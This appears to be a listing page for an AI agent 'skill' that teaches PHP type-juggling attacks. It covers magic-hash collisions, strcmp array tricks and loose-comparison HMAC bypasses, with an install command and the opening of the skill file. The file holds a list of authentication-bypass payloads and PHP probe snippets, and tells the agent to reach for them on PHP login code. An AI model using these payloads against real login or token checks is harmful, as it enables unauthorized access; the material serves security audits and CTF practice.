Type Juggling

Teaches Claude to exploit PHP's loose comparison operators and type coercion rules, the kind of stuff that shows up in legacy codebases and CTF challenges. When you hit authentication or token validation that uses `==` instead of `===`, this walks through magic hash collisions (like `md5('240610708') == md5('QNKCDZO')` both evaluating to 0e scientific notation), HMAC bypass via numeric coercion, and classic tricks like passing arrays to `strcmp`. Includes version-specific behavior across PHP 5, 7, and 8, since `0 == "foo"` changed semantics. The routing is sharp: it tells Claude to check for loose equality sinks first, then map to the right payload table. Honestly most useful for security audits and explaining why `hash_equals` exists, but the reference tables alone are worth keeping around.

skills.sh installs: 3.8K
GitHub stars: 2.6K
last updated: Aug 21, 2026

View on GitHub

Install

$ npx -y skills add yaklang/hack-skills --skill type-juggling --agent claude-code

Installs into .claude/skills of the current project.

Files

SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass

AI LOAD INSTRUCTION: PHP == coercion, magic hashes (0e…), HMAC/hash loose checks, NULL from bad types, and CTF-style strcmp / json_decode / intval tricks. Use strict routing: map the sink (== vs hash_equals), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like md5($_GET['x'])==md5($_GET['y']), start with this skill; if hash_equals/=== is already used, this path usually does not apply.

0. QUICK START

First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.

First-pass payloads (auth / token shape)

password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00

Minimal PHP probes (local or `php -r` in lab)

<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));